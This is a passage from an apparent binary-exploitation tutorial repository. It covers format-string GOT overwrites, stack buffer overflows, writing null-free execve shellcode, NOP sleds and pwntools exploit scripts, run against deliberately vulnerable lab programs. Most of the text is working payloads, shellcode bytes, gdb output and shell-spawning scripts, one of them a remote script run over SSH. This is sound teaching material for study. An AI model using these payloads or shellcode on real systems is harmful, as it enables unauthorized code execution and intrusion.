"\x10\xc0\x04\x08" + "\x12\xc0\x04\x08" + "%6176u" + "%54$n" + "%57264u" + "%55$n" + "%55760u" + "%56$n" + "%9778u" + "%57$n"') 421 | 422 | 0/bin/sh 423 | $ w 424 | 22:10:25 up 28 min, 1 user, load average: 0.50, 0.39, 0.36 425 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 426 | shogun tty7 :0 21:42 28:09 1:11 1.19s xfce4-session 427 | $ 428 | ``` 429 | 430 | Okay, the partial RELRO is useless agains our attack. Let's consider Full RELRO. 431 | ```bash 432 | $ gcc ../format-string/got-overwrite.c -o got-overwrite-with-full-relro -fno-stack-protector -no-pie -z execstack -m32 -Wl,-z,relro,-z,now 433 | $ checksec got-overwrite-with-full-relro 434 | [*] '/home/shogun/repos/basics-of-pwn/content/security-techniques/got-overwrite-with-full-relro' 435 | Arch: i386-32-little 436 | RELRO: Full RELRO 437 | Stack: No canary found 438 | NX: NX disabled 439 | PIE: No PIE (0x8048000) 440 | RWX: Has RWX segments 441 | $ gdb -q got-overwrite-with-full-relro 442 | gef➤ b *main + 138 443 | Breakpoint 1 at 0x8049260 444 | gef➤ r $(python -c 'print "\x0c\xc0\x04\x08" + "\x0e\xc0\x04\x08" + "\x10\xc0\x04\x08" + "\x12\xc0\x04\x08" + "%6176u" + "%54$n" + "%57264u" + "%55$n" + "%55760u" + "%56$n" + "%9778u" + "%57$n"') 445 | 0/bin/sh 446 | 447 | Breakpoint 1, 0x08049260 in main () 448 | gef➤ got 449 | 450 | GOT protection: Full RelRO | GOT functions: 4 451 | 452 | [0x804bfec] printf@GLIBC_2.0 → 0xf7e10340 453 | [0x804bff0] gets@GLIBC_2.0 → 0xf7e2d1b0 454 | [0x804bff4] __libc_start_main@GLIBC_2.0 → 0xf7ddadf0 455 | [0x804bff8] strncpy@GLIBC_2.0 → 0xf7e57690 456 | gef➤ c 457 | Continuing. 458 | /bin/sh[Inferior 1 (process 6582) exited normally] 459 | gef➤ quit 460 | $ ./got-overwrite-with-full-relro $(python -c 'print "\x0c\xc0\x04\x08" + "\x0e\xc0\x04\x08" + "\x10\xc0\x04\x08" + "\x12\xc0\x04\x08" + "%6176u" + "%54$n" + "%57264u" + "%55$n" + "%55760u" + "%56$n" + "%9778u" + "%57$n"') 461 | 462 | 0/bin/sh 463 | /bin/sh 464 | $ 465 | ``` 466 | 467 | Thus, the GOT entries stayed the same. 468 | -------------------------------------------------------------------------------- /content/stack-overflow/stack-overflow.md: -------------------------------------------------------------------------------- 1 | # Stack overflow 2 | 3 | Stack overflow is about a buffer overflow vulnerability which purpose is not to overwrite variables after the buffer, but also to overwrite the saved return address. 4 | 5 | ## Jump to an arbitrary address 6 | 7 | Let's try to jump to an arbitrary address of our program text section. 8 | 9 | Consider this program: 10 | ```C 11 | #include 12 | #include 13 | 14 | // gcc stack-overflow.c -o stack-overflow -fno-stack-protector -no-pie -z execstack -m32 15 | 16 | // Function that sets user id to 0 and execute the shell 17 | void shell(){ 18 | setuid(0); 19 | system("/bin/sh"); 20 | } 21 | 22 | void vuln_func(){ 23 | char vuln_buff[250]; 24 | // vulnerable 25 | gets(vuln_buff); 26 | } 27 | 28 | int main(int argc, char *argv[]){ 29 | vuln_func(); 30 | return 0; 31 | } 32 | ``` 33 | 34 | So, here we have a vulnerable function `vuln_func` that does the same stuff from the buffer overflow section. But now we will overflow the buffer and overwrite the return address to jump to an arbitrary address of the program. This address will be the address of the beginning of the `shell` function. Thus, when we overflow the buffer and overwrite the return address after the `vuln_func` completes its execution, it will take the new return address and jump to the shell function. 35 | 36 | To determine the offset just do next in gdb: 37 | ```bash 38 | gef➤ r < <(python -c 'print "A"*250 + "B"*16') 39 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "A"*250 + "B"*16') 40 | 41 | Program received signal SIGSEGV, Segmentation fault. 42 | 0x42424242 in ?? () 43 | ``` 44 | 45 | My offset is 12 bytes. The next 4 bytes will overwrite the return address. You can have a different offset. 46 | 47 | Next, find the start address of `shell` function: 48 | ```bash 49 | gef➤ disas shell 50 | Dump of assembler code for function shell: 51 | 0x080491d6 <+0>: endbr32 52 | 0x080491da <+4>: push ebp 53 | 0x080491db <+5>: mov ebp,esp 54 | 0x080491dd <+7>: push ebx 55 | 0x080491de <+8>: sub esp,0x4 56 | 0x080491e1 <+11>: call 0x8049110 <__x86.get_pc_thunk.bx> 57 | 0x080491e6 <+16>: add ebx,0x2e1a 58 | 0x080491ec <+22>: sub esp,0xc 59 | 0x080491ef <+25>: push 0x0 60 | 0x080491f1 <+27>: call 0x80490b0 61 | 0x080491f6 <+32>: add esp,0x10 62 | 0x080491f9 <+35>: sub esp,0xc 63 | 0x080491fc <+38>: lea eax,[ebx-0x1ff8] 64 | 0x08049202 <+44>: push eax 65 | 0x08049203 <+45>: call 0x8049090 66 | 0x08049208 <+50>: add esp,0x10 67 | 0x0804920b <+53>: nop 68 | 0x0804920c <+54>: mov ebx,DWORD PTR [ebp-0x4] 69 | 0x0804920f <+57>: leave 70 | 0x08049210 <+58>: ret 71 | End of assembler dump. 72 | ``` 73 | 74 | `0x080491d6` is that's what you need. 75 | 76 | Then, try to replace last 4 bytes in payload on this address: 77 | ```bash 78 | gef➤ r < <(python -c 'print "A"*250 + "B"*12 + "\xd6\x91\x04\x08"') 79 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "A"*250 + "B"*12 + "\xd6\x91\x04\x08"') 80 | [Detaching after vfork from child process 6753] 81 | 82 | Program received signal SIGSEGV, Segmentation fault. 83 | 0xf7fa8000 in ?? () from /lib/i386-linux-gnu/libc.so.6 84 | ``` 85 | 86 | Segmentation fault is nothing because you can see that the gdb shows you detaching. It means that the shell is executed. 87 | 88 | Again, you have a shell, or if this program would be with SUID bit set, you would get the root or another user who is owned this program. 89 | 90 | ### Why is this happening? 91 | 92 | Programming languages such as C, in which the High-level language instructions map to typical machine language do not provide any mechanism to identify if the buffer (char array) declared on to the stack, can take the input more than was it was supposed to take. The reason for non-checking such sort of mechanism was to achieve the speed part of the machine language. 93 | 94 | Stack overflow things: 95 | 96 | 1. C does not check buffer overflow. 97 | 2. Buffers are stored in a lower to a higher memory address. 98 | 3. Just after the buffer, after overflowing it to a certain amount can update saved variables, old EBP register value, and return address. 99 | 4. If the return address is changed we can change the control flow. 100 | 101 | ## Shellcode writing 102 | 103 | Now, when you can jump to an arbitrary address, you might think that you can jump to your input data. Yes, you can. But what will your input data look like? Your input data needs to be low-level compiled assembly code that is the same as a chain of opcodes. But also, let's understand what a shellcode and a payload are. 104 | 105 | Shellcode is a small piece of payload in binary language that is used to inject to vulnerable binary files. Or the same as I said above about the input data. 106 | 107 | A payload contains the shellcode, the offset(to fill the buffer to overwrite the return address), and the return address itself. A payload definition is flexible and depends on the vulnerability. I'll just make a note of how it will look in further vulnerabilities. 108 | 109 | Steps to write shellcode: 110 | 111 | 1. Write desired shellcode in a high-level language. 112 | 2. Compile and disassemble the high-level shellcode program. 113 | 3. Analyze how the program works from an assembly level. 114 | 4. Clean up the assembly to make it smaller and injectable. 115 | 5. Extract opcodes and create shellcode. 116 | 117 | Let's walk through these steps. 118 | 119 | ### Write desired shellcode in a high-level language 120 | 121 | Shellcode in C: 122 | ```C 123 | #include 124 | 125 | // gcc high-level-shellcode.c -o high-level-shellcode 126 | // use -m32 to compile in 64-bit 127 | 128 | int main(){ 129 | // Start a new process /bin/sh or just spawn a shell 130 | execve("/bin/sh", NULL, NULL); 131 | // Exit normally 132 | exit(0); 133 | } 134 | ``` 135 | 136 | ### Compile and disassemble the high-level shellcode program 137 | 138 | I compiled it in 32-bit with `gcc high-level-shellcode.c -o high-level-shellcode -m32` because it is easy to explain and with the 64-bit it is the same. Disassembly it with `objdump -d high-level -M intel`, then find the main function. 139 | 140 | ### Analyze how the program works from an assembly level 141 | 142 | The main function: 143 | ```bash 144 | 000011ed
: 145 | 11ed: f3 0f 1e fb endbr32 146 | 11f1: 8d 4c 24 04 lea ecx,[esp+0x4] 147 | 11f5: 83 e4 f0 and esp,0xfffffff0 148 | 11f8: ff 71 fc push DWORD PTR [ecx-0x4] 149 | 11fb: 55 push ebp 150 | 11fc: 89 e5 mov ebp,esp 151 | 11fe: 53 push ebx 152 | 11ff: 51 push ecx 153 | 1200: e8 eb fe ff ff call 10f0 <__x86.get_pc_thunk.bx> 154 | 1205: 81 c3 cf 2d 00 00 add ebx,0x2dcf 155 | 120b: 83 ec 04 sub esp,0x4 156 | 120e: 6a 00 push 0x0 157 | 1210: 6a 00 push 0x0 158 | 1212: 8d 83 34 e0 ff ff lea eax,[ebx-0x1fcc] 159 | 1218: 50 push eax 160 | 1219: e8 82 fe ff ff call 10a0 161 | 121e: 83 c4 10 add esp,0x10 162 | 1221: 83 ec 0c sub esp,0xc 163 | 1224: 6a 00 push 0x0 164 | 1226: e8 55 fe ff ff call 1080 165 | 122b: 66 90 xchg ax,ax 166 | 122d: 66 90 xchg ax,ax 167 | 122f: 90 nop 168 | ``` 169 | 170 | So, the main part here starts at `push 0x0`. The `execve()` function is just a system call. And it has its standard. Here, you see that the program pushes two zeros into the stack and then pushes the EAX, which is just a pointer to our `/bin/sh`. Then it does `call 10a0 ` which is moves the number of a system call in the EAX register and sends interruption to execute a system call(The CPU switches to kernel mode). 171 | 172 | As this 32-bit syscall table says the standard for an execve system call: 173 | 174 | ``` 175 | ---------------eax-----ebx-------ecx-----edx-- 176 | | sys_execve | 0x0b | filename | argv | envp | 177 | ---------------------------------------------- 178 | ``` 179 | 180 | In our disassembly code, arguments are pushed onto the stack, but by the standard, they can be in registers as above. 181 | 182 | After the execve syscall, the stack cleans and a new syscall `exit()` will execute with 0 as an argument. Something after that doesn't matter. 183 | 184 | Let's follow the rules we encountered above and write the shellcode. 185 | 186 | Shellcode: 187 | ```nasm 188 | ; nasm -f elf32 dirty-low-level-shellcode.asm 189 | ; ld -m elf_i386 dirty-low-level-shellcode.o -o dirty-low-level-shellcode 190 | 191 | ; push the string '/bin/sh\0 192 | push 0x68732f00 193 | push 0x6e69622f 194 | ; move the first argument (/bin//sh) to ebx 195 | mov ebx, esp 196 | ; push address of the string 197 | push ebx 198 | ; move the second argument (argv array) to ecx 199 | mov ecx, esp 200 | ; move to eax the number of the syscall 201 | mov eax, 0xb 202 | ; do interruption 203 | int 0x80 204 | ``` 205 | 206 | You need to extract opcodes: 207 | ```bash 208 | # Assemble the file 209 | nasm -f elf32 dirty-low-level-shellcode.asm 210 | # Link an obj file 211 | ld -m elf_i386 dirty-low-level-shellcode.o -o dirty-low-level-shellcode 212 | # See the opcodes 213 | objdump -d dirty-low-level-shellcode -M intel 214 | ``` 215 | 216 | Here, you don't need to link an obj file, you can disassembly it after assembling and extract the opcodes. 217 | 218 | This chain of commands will extract the opcodes in the appropriate view: 219 | ```bash 220 | objdump -d dirty-low-level-shellcode.o -M intel | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' '| tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/'| sed 's/$/"/g' 221 | ``` 222 | 223 | objdump listing: 224 | ```bash 225 | dirty-low-level-shellcode: file format elf32-i386 226 | 227 | 228 | Disassembly of section .text: 229 | 230 | 08049000 <__bss_start-0x1000>: 231 | 8049000: 68 00 2f 73 68 push $0x68732f00 232 | 8049005: 68 2f 62 69 6e push $0x6e69622f 233 | 804900a: 89 e3 mov %esp,%ebx 234 | 804900c: 53 push %ebx 235 | 804900d: 89 e1 mov %esp,%ecx 236 | 804900f: b8 0b 00 00 00 mov $0xb,%eax 237 | 8049014: cd 80 int $0x80 238 | ``` 239 | 240 | You got the shellcode. Next, you need to test it. 241 | ```C 242 | #include 243 | #include 244 | 245 | 246 | unsigned char shellcode[] = "\x68\x00\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; 247 | 248 | void main(){ 249 | printf("Shellcode length: %d\n", strlen(shellcode)); 250 | // Declare a function pointer named ret 251 | // Then cast the shellcode pointer to the function pointer of the same size 252 | int (*ret)() = (int(*)())shellcode; 253 | // Call the function 254 | ret(); 255 | } 256 | ``` 257 | 258 | If you try to compile and execute it, you will end up with a shellcode length of 1 byte, which is not the true length of the shellcode. Why? The reason is that the shellcode is dirty, not injectable. When you enter a shellcode into a vulnerable program, the program prevents you from entering the complete shellcode because it stops accepting characters when it finds a null byte. 259 | 260 | ### Clean up the assembly to make it smaller and injectable 261 | 262 | The reason that the shellcode is not injectable is that we have `push 0x68732f00`, `mov eax, 0xb` instructions. These instructions are assembled with the null bytes. So, we need to find another way to move zero and 0xb to the EAX register. 263 | 264 | 1. If you need to fill the register with zero value just don't do `mov` instruction and do `xor` on the register. 265 | 266 | 2. If you need to place a small value in the register don't use the EAX name of the register using `al` which is 8 bits size or 1 byte. 267 | 268 | 3. Replace '/bin/sh\0' string with '/bin//sh' and terminate it with null in the stack. 269 | 270 | So, clean shellcode will be the following: 271 | ```nasm 272 | ; nasm -f elf32 clean-low-level-shellcode.asm 273 | ; ld -m elf_i386 clean-low-level-shellcode.o -o clean-low-levelshellcode 274 | 275 | ; move in eax zero to add to the end of the string to make it null-terminated 276 | xor eax, eax 277 | ; push zero to terminate the string 278 | push eax 279 | ; push the string '/bin//sh' 280 | push 0x68732f2f 281 | push 0x6e69622f 282 | ; move the first argument (/bin/sh) to ebx 283 | mov ebx, esp 284 | ; push zero 285 | push eax 286 | ; push the address of the string 287 | push ebx 288 | ; move the second argument (argv array) to ecx 289 | mov ecx, esp 290 | ; move to eax the number of the syscall 291 | mov al, 0xb 292 | ; do interruption 293 | int 0x80 294 | ``` 295 | 296 | Disassembly: 297 | ```bash 298 | clean-low-level-shellcode: file format elf32-i386 299 | 300 | 301 | Disassembly of section .text: 302 | 303 | 08049000 <__bss_start-0x1000>: 304 | 8049000: 31 c0 xor eax,eax 305 | 8049002: 50 push eax 306 | 8049003: 68 2f 2f 73 68 push 0x68732f2f 307 | 8049008: 68 2f 62 69 6e push 0x6e69622f 308 | 804900d: 89 e3 mov ebx,esp 309 | 804900f: 50 push eax 310 | 8049010: 53 push ebx 311 | 8049011: 89 e1 mov ecx,esp 312 | 8049013: b0 0b mov al,0xb 313 | 8049015: cd 80 int 0x80 314 | ``` 315 | 316 | Test the shellcode: 317 | ```C 318 | #include 319 | #include 320 | 321 | 322 | unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 323 | 324 | void main(){ 325 | printf("Shellcode length: %d\n", strlen(shellcode)); 326 | // Declare a function pointer named ret 327 | // Then cast the shellcode pointer to the function pointer of the same size 328 | int (*ret)() = (int(*)())shellcode; 329 | // Call the function 330 | ret(); 331 | } 332 | ``` 333 | 334 | `test-dirty-shellcode` and `test-clean-shellcode` don't need to be executable, they execute with `Segmentation fault` stuff. 335 | 336 | ## Exploitation 337 | 338 | We have a completed shellcode, let's use it. But first, recompile the program with the parameters: `gcc stack-overflow.c -o stack-overflow -fno-stack-protector -no-pie -z execstack -m32` to make stack executable. 339 | 340 | Crash the program and find the address of the buffer within the stack: 341 | ```bash 342 | gef➤ r < <(python -c 'print "A"*262 + "B"*4') 343 | gef➤ x/50wx $esp - 0x14a 344 | 0xffffce66: 0x00000804 0x85800000 0xcfa8f7fa 0x7b24ffff 345 | 0xffffce76: 0xcea6f7fe 0xc000ffff 0x80000804 0x8000f7fa 346 | 0xffffce86: 0xcfa8f7fa 0x923affff 0xcea60804 0xcee0ffff 347 | 0xffffce96: 0x0003ffff 0x92240000 0xd0000804 0xe76cf7ff 348 | 0xffffcea6: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 349 | 0xffffceb6: 0xb0e18953 0x4180cd0b 0x41414141 0x41414141 350 | 0xffffcec6: 0x41414141 0x41414141 0x41414141 0x41414141 351 | 0xffffced6: 0x41414141 0x41414141 0x41414141 0x41414141 352 | 0xffffcee6: 0x41414141 0x41414141 0x41414141 0x41414141 353 | 0xffffcef6: 0x41414141 0x41414141 0x41414141 0x41414141 354 | 0xffffcf06: 0x41414141 0x41414141 0x41414141 0x41414141 355 | 0xffffcf16: 0x41414141 0x41414141 0x41414141 0x41414141 356 | 0xffffcf26: 0x41414141 0x41414141 357 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xa6\xce\xff\xff"') 358 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xa6\xce\xff\xff"') 359 | process 8370 is executing new program: /bin/dash 360 | [Inferior 1 (process 8370) exited normally] 361 | gef➤ 362 | 363 | ``` 364 | 365 | So, my address is `0xffffcea6`. Then, I just placed the shellcode at the beginning of the buffer and jumped on it. You can see gdb said that the new program was executed. 366 | 367 | Try it outside gdb. It doesn't work. Firstly, you need to disable security technique ASLR(`echo "0" | dd of=/proc/sys/kernel/randomize_va_space`). Secondly, gdb creates its own address space and there is an offset between the address in gdb and the real address of the executable. 368 | 369 | Gdb has its env variables. So, we unset them with `unset environment`. '`LINES` and `COLUMNS` vars are the lines and columns of the terminal, and GDB sets them internally'. 370 | 371 | ```bash 372 | gef➤ unset environment LINES 373 | gef➤ unset environment COLUMNS 374 | gef➤ r < <(python -c 'print "A"*262 + "B"*4') 375 | gef➤ x/50wx $esp - 0x14a 376 | 0xffffce86: 0x00000804 0x85800000 0xcfc8f7fa 0x7b24ffff 377 | 0xffffce96: 0xcec6f7fe 0xc000ffff 0x80000804 0x8000f7fa 378 | 0xffffcea6: 0xcfc8f7fa 0x923affff 0xcec60804 0xcf00ffff 379 | 0xffffceb6: 0x0003ffff 0x92240000 0xd0000804 0xe76cf7ff 380 | 0xffffcec6: 0x41414141 0x41414141 0x41414141 0x41414141 381 | 0xffffced6: 0x41414141 0x41414141 0x41414141 0x41414141 382 | 0xffffcee6: 0x41414141 0x41414141 0x41414141 0x41414141 383 | 0xffffcef6: 0x41414141 0x41414141 0x41414141 0x41414141 384 | 0xffffcf06: 0x41414141 0x41414141 0x41414141 0x41414141 385 | 0xffffcf16: 0x41414141 0x41414141 0x41414141 0x41414141 386 | 0xffffcf26: 0x41414141 0x41414141 0x41414141 0x41414141 387 | 0xffffcf36: 0x41414141 0x41414141 0x41414141 0x41414141 388 | 0xffffcf46: 0x41414141 0x41414141 389 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xc6\xce\xff\xff"') 390 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xc6\xce\xff\xff"') 391 | process 8791 is executing new program: /bin/dash 392 | [Inferior 1 (process 8791) exited normally] 393 | ``` 394 | 395 | Now, outside gdb: 396 | ```bash 397 | $ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\x56\xcf\xff\xff"'; cat) | ./stack-overflow 398 | ``` 399 | 400 | Sometimes `unset environment` helps, sometimes doesn't. You could try to brute-force the address with some sort of script, but there is a better solution. And that's why we need the next subsection of stack overflow vulnerability. 401 | 402 | ## NOP chain 403 | 404 | At this moment, you already have a working shellcode, you know the offset, and so on. But you need somehow figure out the address of the shellcode in the stack. Nop sled or chain will help you. 405 | 406 | NOP is an instruction that does nothing and it means NO-OPERATION. So, you can guess that simply placing this instruction at the beginning of the shellcode will help you to easily exploit the vulnerability. 407 | 408 | Let's try it: 409 | ```bash 410 | gef➤ r < <(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 139 + "\xc6\xce\xff\xff"') 411 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 139 + "\xc6\xce\xff\xff"') 412 | 413 | Breakpoint 1, 0x08049242 in vuln_func () 414 | ``` 415 | 416 | ```bash 417 | gef➤ x/50wx $esp - 0x140 418 | 0xffffceac: 0xf7fa8580 0xffffcfe8 0xf7fe7b24 0xffffcee6 419 | 0xffffcebc: 0x0804c000 0xf7fa8000 0xf7fa8000 0xffffcfe8 420 | 0xffffcecc: 0x0804923a 0xffffcee6 0xffffcf20 0x00000003 421 | 0xffffcedc: 0x08049224 0xf7ffd000 0x9090e76c 0x90909090 422 | 0xffffceec: 0x90909090 0x90909090 0x90909090 0x90909090 423 | 0xffffcefc: 0x90909090 0x90909090 0x90909090 0x90909090 424 | 0xffffcf0c: 0x90909090 0x90909090 0x90909090 0x90909090 425 | 0xffffcf1c: 0x90909090 0x90909090 0x90909090 0x90909090 426 | 0xffffcf2c: 0x90909090 0x90909090 0x90909090 0x90909090 427 | 0xffffcf3c: 0x90909090 0x90909090 0x90909090 0xc0319090 428 | 0xffffcf4c: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3 429 | 0xffffcf5c: 0xcd0bb0e1 0x41414180 0x41414141 0x41414141 430 | 0xffffcf6c: 0x41414141 0x41414141 431 | gef➤ r < <(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 139 + "\x1c\xcf\xff\xff"') 432 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow < <(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 139 + "\x1c\xcf\xff\xff"') 433 | 434 | Breakpoint 1, 0x08049242 in vuln_func () 435 | 436 | gef➤ c 437 | Continuing. 438 | process 10186 is executing new program: /bin/dash 439 | ``` 440 | 441 | Now, you see the exploit works too with the NOP chain. 442 | 443 | Outside gdb: 444 | ```bash 445 | $ (python -c 'print "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*39 + "\x56\xcf\xff\xff"'; cat) | ./stack-overflow 446 | w 447 | 16:44:33 up 2:08, 1 user, load average: 0.43, 0.45, 0.42 448 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 449 | shogun tty7 :0 14:36 2:08m 7:11 3.52s xfce4-session 450 | ``` 451 | 452 | But, the nop-chain will work and help you if there is enough space in the vulnerable buffer. If there is not then you will need to find another way to exploit a vulnerability. Other techniques will be discussed later. 453 | 454 | ## pwntools 455 | 456 | pwntools is an exploit development library. 'It is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.' 457 | 458 | With pwntools, you can connect to the remote target via ssh or just to send some data to the known port. After connection, you can execute whatever you want with proper python code. 459 | 460 | ### Connect to a target 461 | 462 | If ssh login is allowed: 463 | ```python 464 | from pwn import * 465 | 466 | 467 | con = ssh(username='username', host='hostname or ip-address', password='password', port=2222) 468 | # then execute whatever you want 469 | con.process('/bin/sh') 470 | con.sendline('echo "hello world!"') 471 | ``` 472 | 473 | If the target is open port: 474 | ```python 475 | from pwn import * 476 | 477 | 478 | con = remote('hostname or ip-address', port=4444) 479 | # Receive the data from the port 480 | print(con.recv()) 481 | # Send a data to the port 482 | print(con.sendline('A' * 100)) 483 | ``` 484 | 485 | A buffer overflow exploit and jump exploit below. 486 | 487 | ### Remote exploit of buffer overflow with pwntools 488 | 489 | ```python 490 | from pwn import * 491 | 492 | # Connect to target via ssh 493 | con = ssh('user', '192.168.43.61', password='user', port=22) 494 | # Execute a vulnerable program 495 | p = con.process('./buffer-overflow') 496 | # Payload 497 | payload = "A"*108 + "\xd2\x04" 498 | # Send payload 499 | p.sendline(payload) 500 | # To attach with gdb to remote process 501 | #gdb.attach(p, "b *main") 502 | # Now, you can work with shell interactively 503 | p.interactive() 504 | ``` 505 | 506 | One difference here is the offset between the buffer and the value to overwrite. This offset often can be different from the local exploit. 507 | 508 | ### Jump to an arbitrary address 509 | 510 | ```python 511 | from pwn import * 512 | 513 | 514 | # start the vuln program 515 | p = process('./stack-overflow') 516 | # shell function address 517 | # p32 to convert an address to the little-endian format 518 | shell_addr = p32(0x080491d6) 519 | # fill the vuln buffer 520 | payload = b'A' * 250 521 | # add the offset 522 | payload += b'B' * 12 523 | # add a new return address 524 | payload += shell_addr 525 | # send to process 526 | p.sendline(payload) 527 | # Shell 528 | p.interactive() 529 | ``` 530 | 531 | ### Write shellcode faster 532 | 533 | You can avoid writing shellcode whenever you need it. Try the `shellcraft` module. 534 | 535 | ```python 536 | from pwn import * 537 | 538 | # Specify the architecture 539 | context.arch = 'i386' 540 | # Create a shellcode 541 | shellcode = shellcraft.sh() 542 | print(shellcode) 543 | # Assembly it 544 | assembled_shellcode = asm(shellcode) 545 | print(assembled_shellcode) 546 | ``` 547 | 548 | Output: 549 | ```bash 550 | $ python3 fast-shellcode.py 551 | /* execve(path='/bin///sh', argv=['sh'], envp=0) */ 552 | /* push b'/bin///sh\x00' */ 553 | push 0x68 554 | push 0x732f2f2f 555 | push 0x6e69622f 556 | mov ebx, esp 557 | /* push argument array ['sh\x00'] */ 558 | /* push 'sh\x00\x00' */ 559 | push 0x1010101 560 | xor dword ptr [esp], 0x1016972 561 | xor ecx, ecx 562 | push ecx /* null terminate */ 563 | push 4 564 | pop ecx 565 | add ecx, esp 566 | push ecx /* 'sh\x00' */ 567 | mov ecx, esp 568 | xor edx, edx 569 | /* call execve() */ 570 | push SYS_execve /* 0xb */ 571 | pop eax 572 | int 0x80 573 | 574 | b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' 575 | ``` 576 | 577 | Now, with this you can do stack-overflow too easy: 578 | ```python 579 | from pwn import * 580 | 581 | 582 | # start the vuln program 583 | p = process('./stack-overflow') 584 | # address of the shellcode 585 | ret_addr = p32(0xffffcf56) 586 | # specify the architecture and generate the shellcode to execute /bin/sh 587 | context.arch = 'i386' 588 | shellcode = asm(shellcraft.sh()) 589 | payload = shellcode 590 | # add the offset 591 | payload += b'A' * (262 - len(shellcode)) 592 | # add a new return address 593 | payload += ret_addr 594 | # send to process 595 | p.sendline(payload) 596 | #gdb.attach(p, "b *main") 597 | # Shell 598 | p.interactive() 599 | ``` 600 | 601 | ### Write in an assembly with pwntools shellcraft 602 | 603 | Let's code `clean-low-level-shellcode.asm` with pwntools. 604 | 605 | ```python 606 | from pwn import * 607 | 608 | 609 | context.arch = 'i386' 610 | # Just use shellcraft module and its methods which similar to assembly instructions 611 | shellcode = shellcraft.mov('eax', 0) 612 | shellcode += shellcraft.push('eax') 613 | shellcode += shellcraft.push(0x68732f2f) 614 | shellcode += shellcraft.push(0x6e69622f) 615 | shellcode += shellcraft.mov('ebx', 'esp') 616 | shellcode += shellcraft.push('eax') 617 | shellcode += shellcraft.push('ebx') 618 | shellcode += shellcraft.mov('ecx', 'esp') 619 | shellcode += shellcraft.mov('al', 0xb) 620 | shellcode += shellcraft.syscall() 621 | print(shellcode) 622 | print(asm(shellcode)) 623 | ``` 624 | 625 | Output: 626 | ```bash 627 | $ python3 assembly.py 628 | xor eax, eax 629 | push eax 630 | /* push 0x68732f2f */ 631 | push 0x68732f2f 632 | /* push 0x6e69622f */ 633 | push 0x6e69622f 634 | mov ebx, esp 635 | push eax 636 | push ebx 637 | mov ecx, esp 638 | mov al, 0xb 639 | /* call syscall() */ 640 | int 0x80 641 | 642 | b'1\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80' 643 | ``` 644 | 645 | ### Tools that come with pwntools 646 | 647 | #### checksec 648 | 649 | It allows you to see the security techniques used in the binary. 650 | 651 | For instance, our `stack-overflow` program has these techniques: 652 | ```bash 653 | $ checksec stack-overflow 654 | [*] '/home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow' 655 | Arch: i386-32-little 656 | RELRO: Partial RELRO 657 | Stack: No canary found 658 | NX: NX disabled 659 | PIE: No PIE (0x8048000) 660 | RWX: Has RWX segments 661 | ``` 662 | 663 | #### cyclic 664 | 665 | This tool is beautiful for determining the offset before the return address. Let's try to determine the offset with it in `stack-overflow` binary. 666 | 667 | It generates a string with a set of unique patterns. 500 here is the length of the output string. 668 | ```bash 669 | $ cyclic 500 670 | 